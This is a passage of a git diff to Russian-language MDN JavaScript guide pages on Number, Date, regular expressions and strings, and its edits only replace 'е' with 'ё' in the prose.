<caption>Свойства объекта <code>Number</code></caption> @@ -139,7 +139,7 @@ var notANum = Number.NaN; </tr> <tr> <td>{{jsxref("Number.isNaN()")}}</td> - <td>Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надежный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td> + <td>Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надёжный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td> </tr> <tr> <td>{{jsxref("Number.isSafeInteger()")}}</td> @@ -280,7 +280,7 @@ var notANum = Number.NaN; <p>Содержимым блока <code>parameters</code> в коде представленном выше, могут выступать любая из следующих конструкций:</p> <ul> - <li>Пусто: создает текущую дату и время. Пример: <code>today = new Date();</code>.</li> + <li>Пусто: создаёт текущую дату и время. Пример: <code>today = new Date();</code>.</li> <li>Текстовая строка, содержащая дату и время в следующем формате: "Месяц день, год часы:минуты:секунды". Например: <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>. Если не указать секунды, минуты или часы, то их значение будет принято за 0.</li> <li>Набор целочисленных значений для года, месяца и дня. Например: <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li> <li>Набор целочисленных значений для года, месяца, дня, часов, минут и секунд. Например: <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li> @@ -326,7 +326,7 @@ var notANum = Number.NaN; <pre class="brush: js">var Xmas95 = new Date("December 25, 1995"); </pre> -<p>Тогда <code>Xmas95.getMonth()</code> вернет 11, а <code>Xmas95.getFullYear()</code> вернет 1995.</p> +<p>Тогда <code>Xmas95.getMonth()</code> вернёт 11, а <code>Xmas95.getFullYear()</code> вернёт 1995.</p> <p>Методы <code>getTime</code> и <code>setTime могут быть</code> полезны при сравнении дат. Метод <code>getTime</code> возвращает количество миллисекунд, прошедших с 00:00:00 1 Января, 1970 года.</p> @@ -340,7 +340,7 @@ var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay; var daysLeft = Math.round(daysLeft); // возвращает количество дней, оставшихся до конца года </pre> -<p>Этот пример создает объект <code>Date</code> названный <code>today, который содержит текущую дату и время</code>. Затем, создается вспомогательный <code>Date</code> объект, названный <code>endYear,</code> которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между <code>today</code> и <code>endYear</code>, При этом используются метод <code>getTime</code> и округление, для получения количества полных дней.</p> +<p>Этот пример создаёт объект <code>Date</code> названный <code>today, который содержит текущую дату и время</code>. Затем, создаётся вспомогательный <code>Date</code> объект, названный <code>endYear,</code> которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между <code>today</code> и <code>endYear</code>, При этом используются метод <code>getTime</code> и округление, для получения количества полных дней.</p> <p>Метод <code>parse</code> полезен для присвоения значений существующим объектам <code>Date</code> из текстового формата. Например, следующий код использует методы <code>parse</code> и <code>setTime</code> чтобы установить значение переменной <code>IPOdate</code>:</p> @@ -367,11 +367,11 @@ IPOdate.setTime(Date.parse("Aug 9, 1995")); } </pre> -<p>Первым делом, функция JSClock создает новый объект <code>Date</code>, названный <code>time</code>; так как объект создается баз параметров, переменная <code>time </code>содержит текущую дату и время. Затем вызываются методы <code>getHours</code>, <code>getMinutes </code>и <code>getSeconds</code>, чтобы установить значения переменным <code>hour</code>, <code>minute </code>и <code>second</code>.</p> +<p>Первым делом, функция JSClock создаёт новый объект <code>Date</code>, названный <code>time</code>; так как объект создаётся баз параметров, переменная <code>time </code>содержит текущую дату и время. Затем вызываются методы <code>getHours</code>, <code>getMinutes </code>и <code>getSeconds</code>, чтобы установить значения переменным <code>hour</code>, <code>minute </code>и <code>second</code>.</p> -<p>Следующие четыре выражения строят текстовую строку на основе time. Первое из них создает переменную <code>temp</code>, присваивая ей значение при помощи условия; Если <code>hour</code> больше чем 12, то (<code>hour - 12</code>), иначе просто <code>hour.</code> В случае же, когда <code>hour</code> равно 0, берется фиксированное значение "12".</p> +<p>Следующие четыре выражения строят текстовую строку на основе time. Первое из них создаёт переменную <code>temp</code>, присваивая ей значение при помощи условия; Если <code>hour</code> больше чем 12, то (<code>hour - 12</code>), иначе просто <code>hour.</code> В случае же, когда <code>hour</code> равно 0, берётся фиксированное значение "12".</p> -<p>Следующее выражение приращивает минуты к переменной <code>temp</code>. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулем, иначе, просто строку с двоеточием. Секунды приращиваются к переменной <code>temp</code> тем же путем.</p> +<p>Следующее выражение приращивает минуты к переменной <code>temp</code>. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулём, иначе, просто строку с двоеточием. Секунды приращиваются к переменной <code>temp</code> тем же путем.</p> <p>В завершение всего, последнее условное выражение добавляет строку "P.M." к переменной <code>temp</code> если <code>hour</code> равно или больше 12, иначе, добавляется строка "A.M.".</p> diff --git a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html index 2d04ed19aa..4906966bb8 100644 --- a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions --- <p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p> -<p>Проверка (assertion) задает возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.</p> +<p>Проверка (assertion) задаёт возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.</p> <h2 id="Типы">Типы</h2> @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions <td>x(?=y)</td> <td> <p><strong>Опережающая проверка: </strong><code><em>x</em></code> подходит только когда за <code><em>x</em></code> следует <code><em>y</em></code>. Например, /<code>Jack(?=Sprat)/</code> сработает для "Jack" только когда за ним будет "Sprat".<br> - <code>/Jack(?=Sprat|Frost)/</code> подойдет для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.</p> + <code>/Jack(?=Sprat|Frost)/</code> подойдёт для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.</p> </td> </tr> <tr> @@ -37,13 +37,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions <tr> <td>(?<=y)x</td> <td> - <p><strong>Ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<=Jack)Sprat/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для "Sprat" только если перед ним есть "Jack". </span><code>/(?<=Jack|Tom)Sprat/</code> подойдет для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.</p> + <p><strong>Ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<=Jack)Sprat/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для "Sprat" только если перед ним есть "Jack". </span><code>/(?<=Jack|Tom)Sprat/</code> подойдёт для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.</p> </td> </tr> <tr> <td>(?<!y)x</td> <td> - <p><strong>Отрицательная ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> не предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<!-)\d+/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода </span><code>/(?<!-)\d+/.exec('3')</code> выдаст "3". Код <code>/(?<!-)\d+/.exec('-3')</code> ничего не найдет, т.к. перед числом есть знак минус.</p> + <p><strong>Отрицательная ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> не предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<!-)\d+/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода </span><code>/(?<!-)\d+/.exec('3')</code> выдаст "3". Код <code>/(?<!-)\d+/.exec('-3')</code> ничего не найдёт, т.к. перед числом есть знак минус.</p> </td> </tr> </tbody> diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html index 16df319f96..451d5d78bb 100644 --- a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html @@ -48,84 +48,84 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes <tr> <td><code>\d</code></td> <td> - <p>Совпадет с любой цифрой (арабский числа). Эквивалентно <code>[0-9]</code>. Например, <code>/\d/</code> или <code>/[0-9]/</code> находит "2" в "B2 is the suite number"..</p> + <p>Совпадёт с любой цифрой (арабский числа). Эквивалентно <code>[0-9]</code>. Например, <code>/\d/</code> или <code>/[0-9]/</code> находит "2" в "B2 is the suite number"..</p> </td> </tr> <tr> <td><code>\D</code></td> <td> - <p>Совпадет с любым символом, который не является цифрой (арабский числа). Эквивалентно <code>[^0-9]</code>. Например, <code>/\D/</code> or <code>/[^0-9]/</code> находит "B" в "B2 is the suite number".</p> + <p>Совпадёт с любым символом, который не является цифрой (арабский числа). Эквивалентно <code>[^0-9]</code>. Например, <code>/\D/</code> or <code>/[^0-9]/</code> находит "B" в "B2 is the suite number".</p> </td> </tr> <tr> <td><code>\w</code></td> <td> - <p>Совпадет с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание. Эквивалентно <code>[A-Za-z0-9_]</code>. Например, <code>/\w/</code> находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".</p> + <p>Совпадёт с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание. Эквивалентно <code>[A-Za-z0-9_]</code>. Например, <code>/\w/</code> находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".</p> </td> </tr> <tr> <td><code>\W</code></td> <td> - <p>Совпадет с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание. Эквивалентно <code>[^A-Za-z0-9_]</code>. Например, <code>/\W/</code> или <code>/[^A-Za-z0-9_]/</code> находит "%" в "50%" и "É" in "Émanuel".</p> + <p>Совпадёт с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание. Эквивалентно <code>[^A-Za-z0-9_]</code>. Например, <code>/\W/</code> или <code>/[^A-Za-z0-9_]/</code> находит "%" в "50%" и "É" in "Émanuel".</p> </td> </tr> <tr> <td><code>\s</code></td> <td> - <p>Совпадет с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\s\w*/</code> находит " bar" в "foo bar".</p> + <p>Совпадёт с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\s\w*/</code> находит " bar" в "foo bar".</p> </td> </tr> <tr> <td><code>\S</code></td> <td> - <p>Совпадет с любым символом, не являющимся пробельным. Эквивалентно <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\S\w*/</code> находит "foo" в "foo bar".</p> + <p>Совпадёт с любым символом, не являющимся пробельным. Эквивалентно <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\S\w*/</code> находит "foo" в "foo bar".</p> </td> </tr> <tr> <td><code>\t</code></td> - <td>Совпадет с символом горизонтальной табуляции.</td> + <td>Совпадёт с символом горизонтальной табуляции.</td> </tr> <tr> <td><code>\r</code></td> - <td>Совпадет с символом возврата каретки.</td> + <td>Совпадёт с символом возврата каретки.</td> </tr> <tr> <td><code>\n</code></td> - <td>Совпадет с символом подачи строки.</td> + <td>Совпадёт с символом подачи строки.</td> </tr> <tr> <td><code>\v</code></td> - <td>Совпадет с символом вертикальной табуляции</td> + <td>Совпадёт с символом вертикальной табуляции</td> </tr> <tr> <td><code>\f</code></td> - <td>Совпадет с символом подачи страницы (формы).</td> + <td>Совпадёт с символом подачи страницы (формы).</td> </tr> <tr> <td><code>[\b]</code></td> - <td>Совпадет с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (<code>\b</code>), смотри <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Границы</a>.</td> + <td>Совпадёт с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (<code>\b</code>), смотри <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Границы</a>.</td> </tr> <tr> <td><code>\0</code></td> - <td>Совпадет с символом NUL character. Не используйте другую цифру.</td> + <td>Совпадёт с символом NUL character. Не используйте другую цифру.</td> </tr> <tr> <td><code>\c<em>X</em></code></td> <td> - <p>Совпадет с контрольным символом using <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B5%D1%82%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F">каретную нотацию</a>, где "X" буква A–Z (соответствует кодам <code>U+0001</code><em>–</em><code>U+001F</code>). For example, <code>/\cM/</code> matches "\r" in "\r\n".</p> + <p>Совпадёт с контрольным символом using <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B5%D1%82%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F">каретную нотацию</a>, где "X" буква A–Z (соответствует кодам <code>U+0001</code><em>–</em><code>U+001F</code>). For example, <code>/\cM/</code> matches "\r" in "\r\n".</p> </td> </tr> <tr> <td><code>\x<em>hh</em></code></td> - <td>Совпадет с символом, код которого <code><em>hh</em></code> (две шестнадцатеричных цифры).</td> + <td>Совпадёт с символом, код которого <code><em>hh</em></code> (две шестнадцатеричных цифры).</td> </tr> <tr> <td><code>\u<em>hhhh</em></code></td> - <td>Совпадет с код-блоком UTF-16 со значением <code><em>hhhh</em></code> (четыре шестнадцатеричных цифры).</td> + <td>Совпадёт с код-блоком UTF-16 со значением <code><em>hhhh</em></code> (четыре шестнадцатеричных цифры).</td> </tr> <tr> <td><code>\u<em>{hhhh} </em>or <em>\u{hhhhh}</em></code></td> - <td>(Только когда установлен флаг <code>u</code>.) Совпадет с Unicode символом со значением <code>U+<em>hhhh</em></code> или <code>U+<em>hhhhh</em></code> (шестнадцатеричные цифры).</td> + <td>(Только когда установлен флаг <code>u</code>.) Совпадёт с Unicode символом со значением <code>U+<em>hhhh</em></code> или <code>U+<em>hhhhh</em></code> (шестнадцатеричные цифры).</td> </tr> <tr> <td><code>\</code></td> diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html index 1769079e27..d6a9f157de 100644 --- a/files/ru/web/javascript/guide/regular_expressions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions </pre> </div> - <p>Использование конструктора влечет за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.</p> + <p>Использование конструктора влечёт за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.</p> </li> </ul> @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <h3 id="Использование_простых_шаблонов">Использование простых шаблонов</h3> -<p>Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон <code>/abc/</code> соответствует комбинации символов в строке только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдет в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдет с подстрокой 'abc'. Сопоставление не произойдет в строке "Grab crab", потому что она не содержит подстроку 'abc'.</p> +<p>Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон <code>/abc/</code> соответствует комбинации символов в строке только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдёт в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдёт с подстрокой 'abc'. Сопоставление не произойдёт в строке "Grab crab", потому что она не содержит подстроку 'abc'.</p> <h3 id="Использование_специальных_символов">Использование специальных символов</h3> @@ -171,13 +171,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <td> <p>m и n - положительные целые. Соответствует как минимум <code>n</code> и максимум <code>m</code> вхождениям предыдущего символа. При m=n=1 пропускается.</p> - <p>Например, <code>/a{1,3}/</code> ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трем первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.</p> + <p>Например, <code>/a{1,3}/</code> ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трём первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.</p> </td> </tr> <tr> <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td> <td> - <p>Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (<code>.</code>) и звездочка (<code>*</code>)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.</p> + <p>Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (<code>.</code>) и звёздочка (<code>*</code>)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.</p> <p>Например, <code>[abcd]</code> эквивалентна <span style="font-family: monospace;">[</span><code>a-d]</code>. Они соответствуют 'b' в "brisket" и 'c' в "city". <code>/[a-z.]+/</code> и <code>/[\w.]+/</code> обе соответствуют всему в "test.i.ng".</p> </td> @@ -283,7 +283,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <tr> <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td> <td> - <p>Соответствует любому цифробуквенному символу включая нижнее подчеркивание. Эквивалентен <code>[A-Za-z0-9_]</code>.</p> + <p>Соответствует любому цифробуквенному символу включая нижнее подчёркивание. Эквивалентен <code>[A-Za-z0-9_]</code>.</p> <p>Например, <code>/\w/</code> совпадает с 'a' в "apple," '5' в "$5.28," и '3' в "3D."</p> </td> @@ -299,7 +299,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <tr> <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td> <td> - <p>Где <em>n</em> это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую <em>n</em> , заключенную в круглые скобки в регулярном выражении (считая левые скобки).</p> + <p>Где <em>n</em> это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую <em>n</em> , заключённую в круглые скобки в регулярном выражении (считая левые скобки).</p> <p>Например, <code>/apple(,)\sorange\1/</code> соответствует 'apple, orange,' в "apple, orange, cherry, peach."</p> </td> @@ -375,7 +375,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions </tbody> </table> -<p>Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами <code>test</code> или <code>search</code>; а чтобы получить больше информации пользуйтесь методами <code>exec</code> или <code>match</code> (хотя эти метода работают медленнее). Если вы пользуетесь <code>exec</code> или <code>match</code> и если совпадения есть, эти методы вернут массив и обновленные свойства объекта ассоциированного регулярного выражения а также предопределенного объекта <code>RegExp </code>регулярного выражения. Если совпадений нет, метод <code>exec</code> вернет <code>null</code> (который сконвертируется в <code>false</code>).</p> +<p>Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами <code>test</code> или <code>search</code>; а чтобы получить больше информации пользуйтесь методами <code>exec</code> или <code>match</code> (хотя эти метода работают медленнее). Если вы пользуетесь <code>exec</code> или <code>match</code> и если совпадения есть, эти методы вернут массив и обновлённые свойства объекта ассоциированного регулярного выражения а также предопределённого объекта <code>RegExp </code>регулярного выражения. Если совпадений нет, метод <code>exec</code> вернёт <code>null</code> (который сконвертируется в <code>false</code>).</p> <p>В след. примере, скрипт использует метод <code>exec</code> чтобы найти совпадения в строке.</p> @@ -388,13 +388,13 @@ var myArray = myRe.exec("cdbbdbsbz"); <pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); </pre> -<p>Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведен ниже:</p> +<p>Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведён ниже:</p> <pre class="brush: js notranslate">var myRe = new RegExp("d(b+)d", "g"); var myArray = myRe.exec("cdbbdbsbz"); </pre> -<p>С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновленные свойства показанные в след. таблице.</p> +<p>С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновлённые свойства показанные в след. таблице.</p> <table class="fullwidth-table"> <caption>Table 4.3 Результаты выполнения регулярного выражения</caption> @@ -431,7 +431,7 @@ var myArray = myRe.exec("cdbbdbsbz"); <tr> <td rowspan="2"><code>myRe</code></td> <td><code>lastIndex</code></td> - <td>Индекс с которого начнется след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)</td> + <td>Индекс с которого начнётся след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)</td> <td><code>5</code></td> </tr> <tr> @@ -471,7 +471,7 @@ console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex); <h3 id="Использование_скобочных_выражений_для_нахождения_подстрок">Использование скобочных выражений для нахождения подстрок</h3> -<p>Использование скобок в шаблоне регулярного выражения повлечет "запоминание" совпавшей подстроки. Для примера, <code>/a(b)c/</code> вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p> +<p>Использование скобок в шаблоне регулярного выражения повлечёт "запоминание" совпавшей подстроки. Для примера, <code>/a(b)c/</code> вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p> <p>Число возможных скобочных подстрок неограничено. Возвращаемый массив содержит все полученные совпадения, удовлетворяющие выражению в скобках. Следующий пример показывает как использовать скобочные выражения для нахождения подстрок.</p> @@ -557,7 +557,7 @@ console.log(myArray); <h3 id="Изменение_порядка_в_Исходной_Строке">Изменение порядка в Исходной Строке</h3> -<p>След. пример иллюстрирует формирование регулярного выражения и использование <code>string.split()</code> и <code>string.replace()</code>. Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идет первым) разделенные пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имен (фамилия станет первой) и сортируется список.</p> +<p>След. пример иллюстрирует формирование регулярного выражения и использование <code>string.split()</code> и <code>string.replace()</code>. Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идёт первым) разделённые пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имён (фамилия станет первой) и сортируется список.</p> <pre class="brush: js notranslate">// The name string contains multiple spaces and tabs, // and may have multiple spaces between first and last names. @@ -621,11 +621,11 @@ console.log(output.join("\n")); <h3 id="Использование_спецсимволов_для_проверки_входных_данных">Использование спецсимволов для проверки входных данных</h3> -<p>В след. примере, ожидается что пользователь введет телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмет кнопку "Check", скрипт проверит правильность введенного номера. Если номер правильный (совпадает с символами определенными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.</p> +<p>В след. примере, ожидается что пользователь введёт телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмёт кнопку "Check", скрипт проверит правильность введённого номера. Если номер правильный (совпадает с символами определёнными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.</p> <p>Внутри незахватывающих скобок <code>(?:, регуляное выражение ищет три цифры \d{3} ИЛИ |</code> открывающую скобку <code>\(, затем три цифры \d{3}</code>, затем закрывающую скобку <code>\), </code>(закрывающая незахватывающая скобка <code>)</code>), затем тире, слеш, или десятичная точка, и когда это выражение найдено, запоминает символ <code>([-\/\.])</code>, следующие за ним и запомненные три цифры <code>\d{3}</code>, следующее соответствие тире, слеша или десятичной точки <code>\1</code>, и следующие четыре цифры <code>\d{4}.</code></p> -<p>Регулярное выражение ищет сначала 0 или одну открывающую скобку <code>\(?</code>, <code>затем три цифры \d{3}</code>, затем 0 или одну закрывающую скобку <code>\)?</code>, потом одно тире, слеш или точка и когда найдет это, запомнит символ<code>([-\/\.])</code>, след. три цифры<code> \d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p> +<p>Регулярное выражение ищет сначала 0 или одну открывающую скобку <code>\(?</code>, <code>затем три цифры \d{3}</code>, затем 0 или одну закрывающую скобку <code>\)?</code>, потом одно тире, слеш или точка и когда найдёт это, запомнит символ<code>([-\/\.])</code>, след. три цифры<code> \d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p> <p>Событие "Изменить" активируется, когда пользователь подтвердит ввод значения регулярного выражения, нажав клавишу "Enter". </p> diff --git a/files/ru/web/javascript/guide/text_formatting/index.html b/files/ru/web/javascript/guide/text_formatting/index.html index 3539b94652..8d7ce164b9 100644 --- a/files/ru/web/javascript/guide/text_formatting/index.html +++ b/files/ru/web/javascript/guide/text_formatting/index.html @@ -67,7 +67,7 @@ console.log(str); <pre class="brush: js">var s = new String("foo"); // Создание объекта console.log(s); // Отобразится: { '0': 'f', '1': 'o', '2': 'o'} -typeof s; // Вернет 'object' +typeof s; // Вернёт 'object' </pre> <p>Вы можете вызвать любой метод объекта класса <code>String</code> на строковом литерале - JavaScript сам преобразует строковый литерал во временный объект <code>String</code>, вызовет требуемый метод и затем уничтожит этот временный объект. Со строковыми литералами вы также можете использовать и <code>String.length</code> свойство.</p> @@ -76,15 +76,15 @@ typeof s; // Вернет 'object' <pre class="brush: js">var s1 = "2 + 2"; // Создание строкового литерала var s2 = new String("2 + 2"); // Создание String объекта -eval(s1); // Вернет 4 -eval(s2); // Вернет строку "2 + 2"</pre> +eval(s1); // Вернёт 4 +eval(s2); // Вернёт строку "2 + 2"</pre> <p>Объект <code>String</code> имеет свойство <code>length</code>, которое обозначает количество символов в строке. Например, в следующем коде x получит значение 13 потому, что "Hello, World!" содержит 13 символов, каждый из которых представлен одним кодом UTF-16. Вы можете обратиться к каждому коду с помощью квадратных скобок. Вы не можете изменять отдельные символы строки, т.к. строки это массива-подобные неизменяемые объекты:</p> <pre class="brush: js">var mystring = "Hello, World!"; var x = mystring.length; -mystring[0] = 'L'; // Ничего не произойдет, 